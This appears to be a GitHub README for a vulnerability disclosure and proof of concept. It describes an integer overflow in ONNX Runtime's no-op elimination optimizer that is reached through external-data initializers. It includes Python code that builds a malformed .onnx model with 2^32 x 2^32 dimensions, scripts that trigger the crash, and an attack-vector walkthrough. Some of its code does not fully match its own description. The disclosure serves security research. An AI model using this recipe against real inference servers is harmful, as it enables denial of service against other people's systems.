jayantkamble10000/onnx-integer-overflow-poc
ONNX Runtime Integer Overflow PoC — External Data SafeInt Bypass
Integer overflow vulnerability (CWE-190) in ONNX Runtime v1.24.4's optimizer. Critical discovery: SafeInt protection is bypassed for external-data initializers, allowing the overflow to corrupt optimizer logic and reach dead code.
Vulnerability Details
- File:
onnxruntime/core/optimizer/noop_elimination.cc:52-62 - Bypass File:
onnxruntime/core/graph/graph.cc:3744-3776 - Type: CWE-190 Integer Overflow → CWE-617 Reachable Assertion
- Impact: Denial of Service via optimizer logic corruption
- CVSS: 7.5 (High)
- Target: ONNX Runtime v1.24.4 (default optimization settings)
Mathematical Proof
Dimension 1: 4,294,967,296 (2^32)
Dimension 2: 4,294,967,296 (2^32)
Product: 18,446,744,073,709,551,616 (2^64)
INT64_MAX: 9,223,372,036,854,775,807 (2^63 - 1)
Result: 2^64 > INT64_MAX ✓ CONFIRMED INTEGER OVERFLOWThe Two-Path Proof
The same malicious model produces two different crashes depending on optimization level. Divergent crash sites prove the optimizer path bypasses SafeInt.
Path A — Baseline (Optimization Disabled)
import onnxruntime as rt
so = rt.SessionOptions()
so.graph_optimization_level = rt.GraphOptimizationLevel.ORT_DISABLE_ALL
rt.InferenceSession("exploit.onnx", so)Crash: safeint.h:17 — SafeIntOnOverflow() Meaning: SafeInt correctly rejects malformed dimensions when the optimizer is disabled.
Path B — Exploit (Optimization Enabled, Default)
import onnxruntime as rt
so = rt.SessionOptions()
so.graph_optimization_level = rt.GraphOptimizationLevel.ORT_ENABLE_ALL
rt.InferenceSession("exploit.onnx", so)Crash: graphutils.cc:650 — Should be unreachable Meaning: SafeInt never fires. The overflow in noopelimination.cc corrupts the decision to remove a non-noop node, reaching dead code that should never execute. If SafeInt had caught the exploit, both paths would crash at safeint.h. They don't. The crash moved to a defensive assertion in graph topology code — proof of control-flow corruption.
Root Cause Chain
This is a two-stage vulnerability. SafeInt exists in ONNX Runtime, but a code path introduced for external-data initializers skips it entirely.
- SafeInt Bypass (graph.cc:3775)
// ConvertInitializersIntoOrtValues()
if (utils::HasExternalData(tensor_proto)) {
...validate file path exists...
continue; // ← SKIPS GetSizeInBytesFromTensorProto (SafeInt)
}External-data initializers skip the only SafeInt check in this path. File existence is validated; tensor size is not.
- Integer Overflow (noop_elimination.cc:54)
int64_t tensor_size = 1;
for (auto i : dims) {
tensor_size *= i; // OVERFLOWS SILENTLY: 1 × 2^32 × 2^32 = 2^64 → wraps to 0
}- Logic Corruption (noop_elimination.cc:62)
if (tensor_size == 0) return true; // WRONG: overflow mistaken for "empty tensor"The optimizer incorrectly marks the node as a no-op.
- Dead Code Reached (graph_utils.cc:650)
// Should be unreachable if CanRemoveNodeAndMergeEdges is in sync with the logic hereRemoveNode() fires an assertion because the guard logic was corrupted by the overflow.
How to Trigger/Reproduction
pip install onnx onnxruntime numpy
# Run the two-path demonstration
python3 TRIAGER_RESPONSE_FINAL.pyThe script automatically executes both BASELINE and EXPLOIT paths and compares crash sites.
Expected Output
Two different crashes from the same model prove the optimizer path bypasses SafeInt:
BASELINE (Optimization Disabled)
Exception during initialization: /onnxruntime/core/common/safeint.h:17 SafeIntExceptionHandler::SafeIntOnOverflow() Integer overflow
### EXPLOIT (Optimization Enabled — Default)Exception during initialization: /onnxruntime/core/graph/graph_utils.cc:650 Should be unreachable if CanRemoveNodeAndMergeEdges is in sync with the logic here
**Interpretation:** If SafeInt had caught the exploit, both paths would crash at `safeint.h`. The exploit crashes at `graph_utils.cc:650` instead — dead code reached via optimizer logic corruption. SafeInt is bypassed for external-data initializers.Root Cause
The noop_elimination optimizer multiplies tensor dimensions without overflow checking:
int64_t tensor_size = 1;
for (auto i : dims) {
tensor_size *= i; // CWE-190: NO OVERFLOW PROTECTION
}Attack Vector
- Create valid ONNX model with external data initializer (bypasses inline-data SafeInt)
- Set dimensions to [2^32, 2^32] in binary protobuf (product overflows int64_t)
- Keep external data file small (4 bytes) — only path existence is checked
- Load model with GraphOptimizationLevel.ORTENABLEALL (production default)
- Result: Session initialization crash via unreachable assertion Why external data matters: Production models > 2GB use external data by default. This is not an edge case.
Files
Impact
- Attack Vector: Malicious .onnx model with external data
- Trigger: Model load with graph optimization enabled (default in production)
- Result: Denial of Service (process abort via unreachable assertion)
- Affected: Production ORT model servers, inference pipelines, CI/CD systems loading untrusted models
Why This Works
- Python ONNX validator only checks dimensions at creation time
- Binary protobuf format allows modification after creation
- ONNX Runtime doesn't re-validate at load time
- Optimizer processes dimensions without bounds checking
Generation
The PoC model is generated using:
# Create valid model with small initializer
init_data = bytes([0] * 100) # 100 bytes
init_tensor = helper.make_tensor(
name='init_tensor',
data_type=TensorProto.FLOAT,
dims=[25], # Valid: 25 * 4 = 100 bytes
vals=init_data,
raw=True
)
# Modify protobuf to set overflow dimensions
model = onnx.load("base_model.onnx")
for init in model.graph.initializer:
if init.name == 'init_tensor':
del init.dims[:]
init.dims.append(4294967296) # 2^32
init.dims.append(4294967296) # 2^32
# 2^64 > INT64_MAX causes overflow
onnx.save(model, "integer_overflow_poc.onnx")Vulnerability Status
- Discovered: April 19, 2026
- Status: Reported to Huntr (pending triage)
- Triager Response: "SafeInt prevents exploitation" — rebutted via external-data bypass discovery
References
- CWE-190: https://cwe.mitre.org/data/definitions/190.html
- OWASP Integer Overflow: https://owasp.org/www-community/attacks/Integer_Overflow
- ONNX Runtime: https://github.com/microsoft/onnxruntime
- Huntr: https://huntr.com
